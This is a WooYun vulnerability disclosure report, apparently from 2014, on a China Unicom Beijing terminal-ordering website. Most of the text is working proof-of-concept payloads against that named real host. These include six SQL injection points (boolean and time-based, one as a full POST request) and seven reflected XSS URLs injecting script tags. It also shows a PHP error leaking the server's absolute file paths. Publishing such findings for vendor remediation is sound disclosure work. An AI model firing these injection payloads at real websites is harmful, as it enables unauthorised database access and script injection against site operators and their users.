乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2014-10-30: 细节已通知厂商并且等待厂商处理中 2014-11-03: 厂商已经确认,细节仅向厂商公开 2014-11-13: 细节向核心白帽子及相关领域专家公开 2014-11-23: 细节向普通白帽子公开 2014-12-03: 细节向实习白帽子公开 2014-12-14: 细节向公众公开
中国联通某终端订购平台SQL+XSS+路径泄露有多个注入点,涉及到多个数据库,有多个XSS,以及泄露服务器绝对路径
北京联通终端订购平台http://dg.uninx.com/SQL1:
POST /lottery/zhuce.php HTTP/1.1Content-Type: application/x-www-form-urlencodedCookie: PHPSESSID=e92a32ce11811ec6f88359c3399075ddAccept-Language: en-USAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Referer: http://dg.uninx.com/lottery/zhuce.phpHost: dg.uninx.comUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0)Content-Length: 177Isig_User_Email=&Isig_User_Pwd=&Isig_User_Pwd=&Isig_shop_Name=&Isig_Company_Name=&Isig_AreaID=&subarea_id=0+and+7659%3D7659&reseau_id=&Isig_User_Name=&Isig_User_Mobile=&submit=+
SQL2:
dg.uninx.com/dgpt/endpage.php?gid=183&shopid=5+and+sleep%280%29
SQL3:
dg.uninx.com/changs/ztc_index.php?searchword=%27+and+sleep%280%29%3D%27&type=&inpbrand=Lenovo&inpguodaishang=&inpjiage=&inpzhuping=&inpwangluolx=&inp4Gwangluo=&inp3Gwangluo=&inp2Gwangluo=&inpxitong=&inphexinshu=&inpshexiangtou=&inpSIMka=&inptedian=
SQL4:
dg.uninx.com/dgpt/list_4g.php?searchword=&type=%27+and+%27f%27%3D%27f&inpbrand=&inpguodaishang=&inpjiage=0-500&inpzhuping=&inpwangluolx=&inp4Gwangluo=&inp3Gwangluo=&inp2Gwangluo=&inpxitong=&inphexinshu=&inpshexiangtou=&inpSIMka=&inptedian=
SQL5:
dg.uninx.com/dgpt/search.php?word=%27+%7C%7C+%27%27+%7C%7C+%27
SQL6:
http://dg.uninx.com/dgpt/shoplist.php?keyword=&shopid=5&x=0%27+and+%27f%27%3D%27f%27+--+&y=0
XSS1:
http://dg.uninx.com//dgpt/shoplist.php?type=%3E%22%27%3E%3Cscript%3Ealert%28266%29%3C%2Fscript%3E&shopid=%3E%22%27%3E%3Cscript%3Ealert%28266%29%3C%2Fscript%3E
XSS2:
http://dg.uninx.com/dgpt/shopintro.php?type=5&shopid=%22/%3E%3Cscript%3Ealert%282920%29%3C/script%3E
XSS3:
http://dg.uninx.com/dgpt/shop.php?shopid=%22/%3E%3Cscript%3Ealert%282931%29%3C/script%3E
XSS4:
http://dg.uninx.com/dgpt/search.php?word=%3Cscript%3Ealert%281637%29%3C/script%3E
XSS5:
http://dg.uninx.com//dgpt/list_4g.php?searchword=&type=%22/%3E%3Cscript%3Ealert%281956%29%3C/script%3E&inpbrand=&inpguodaishang=&inpjiage=0-500&inpzhuping=&inpwangluolx=&inp4Gwangluo=&inp3Gwangluo=&inp2Gwangluo=&inpxitong=&inphexinshu=&inpshexiangtou=&inpSIMka=&inptedian=
XSS6:
http://dg.uninx.com/dgpt/list.php?type=3%22/%3E%3Cscript%3Ealert%28866%29%3C/script%3E
XSS7:
http://dg.uninx.com/dgpt/endpage.php?gid=183&shopid=5%22/%3E%3Cscript%3Ealert%28808%29%3C/script%3E
路径泄露:
http://dg.uninx.com/include/Warning: require_once(/var/www/zddg/include/config.php) [function.require-once]: failed to open stream: No such file or directory in /var/www/zddg/include/index.php on line 2Fatal error: require_once() [function.require]: Failed opening required '/var/www/zddg/include/config.php' (include_path='.:/usr/local/php5/lib/php') in /var/www/zddg/include/index.php on line 2
危害等级:高
漏洞Rank:12
确认时间:2014-11-03 17:29
暂无